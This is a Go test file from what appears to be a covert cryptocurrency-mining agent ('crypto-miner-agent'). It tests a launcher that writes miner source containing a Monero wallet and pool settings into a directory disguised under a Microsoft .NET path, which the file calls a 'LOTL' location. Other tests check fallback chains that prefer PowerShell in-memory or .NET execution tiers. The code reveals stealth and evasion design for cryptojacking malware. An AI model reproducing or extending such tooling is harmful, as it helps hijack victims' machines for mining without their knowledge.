package miner import ( "os" "os/exec" "path/filepath" "runtime" "strings" "testing" "crypto-miner-agent/config" ) func fakeDotnetRecorder(t *testing.T) string { t.Helper() dir := t.TempDir() if runtime.GOOS == "windows" { bat := filepath.Join(dir, "fake-dotnet.cmd") body := `@echo off if "%1"=="build" exit /b 0 if "%1"=="run" ( ping -n 3 127.0.0.1 >nul exit /b 0 ) exit /b 0 ` if err := os.WriteFile(bat, []byte(body), 0o755); err != nil { t.Fatal(err) } return bat } sh := filepath.Join(dir, "fake-dotnet.sh") body := `#!/bin/sh case "$1" in build) exit 0 ;; run) sleep 1 ;; esac exit 0 ` if err := os.WriteFile(sh, []byte(body), 0o755); err != nil { t.Fatal(err) } return sh } func TestDotnetLauncherMaterializeAndStart(t *testing.T) { if runtime.GOOS != "windows" { t.Skip("dotnet tier is Windows-only") } bin := fakeDotnetRecorder(t) SetDotnetBinPath(bin) SetDotnetExecCommand(func(name string, args ...string) *exec.Cmd { return exec.Command(name, args...) }) defer func() { SetDotnetBinPath("") SetDotnetExecCommand(nil) }() t.Setenv("LOCALAPPDATA", t.TempDir()) cfg := config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ BuildID: "dn-test", Wallet: "XMR:wallet456", WorkerName: "worker-dn", PoolHost: "pool.example.com", PoolPort: 4444, PoolTLS: true, PoolPass: "secret", }, } launcher, err := NewDotnetLauncher(cfg) if err != nil { t.Fatalf("NewDotnetLauncher: %v", err) } if launcher.Toolchain() != "dotnet" { t.Fatalf("toolchain=%q want dotnet", launcher.Toolchain()) } if err := launcher.Start(); err != nil { t.Fatalf("Start: %v", err) } defer launcher.Stop() cs, err := os.ReadFile(filepath.Join(launcher.WorkDir(), "Program.cs")) if err != nil { t.Fatalf("read Program.cs: %v", err) } text := string(cs) if !strings.Contains(text, "XMR:wallet456") { t.Fatalf("Program.cs missing wallet: %s", text) } if !strings.Contains(text, "pool.example.com") { t.Fatalf("Program.cs missing pool host: %s", text) } if !strings.Contains(text, "PoolTLS = true") { t.Fatalf("Program.cs missing TLS flag: %s", text) } if !strings.Contains(launcher.WorkDir(), filepath.Join("Microsoft", "NET", "AetherForge")) { t.Fatalf("workdir not under Microsoft LOTL path: %s", launcher.WorkDir()) } if !launcher.Running() { t.Fatal("Running() false after Start") } } func TestDefaultFallbackChainPowerShellMode(t *testing.T) { chain := DefaultFallbackChain(config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ MinerExecution: ExecutionPowerShell, PoolHost: "p", Wallet: "w", }, }, ContainerRuntimeInfo{Available: true, CLI: "docker"}) if chain[0] != MethodPowerShell { t.Fatalf("chain=%v want powershell first", chain) } } func TestDefaultFallbackChainDotnetMode(t *testing.T) { chain := DefaultFallbackChain(config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ MinerExecution: ExecutionDotnet, PoolHost: "p", Wallet: "w", }, }, ContainerRuntimeInfo{}) if chain[0] != MethodDotnet { t.Fatalf("chain=%v want dotnet first", chain) } } func TestSelectMiningTierChainForcedPowerShell(t *testing.T) { probes := EnvironmentProbes{PowerShell: true, DotNet: true} chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ MinerExecution: ExecutionPowerShell, Wallet: "w", PoolHost: "p", PoolPort: 3333, }, }) if len(chain) == 0 || chain[0] != TierPSInMemory { t.Fatalf("chain=%v want ps_inmemory first", chain) } }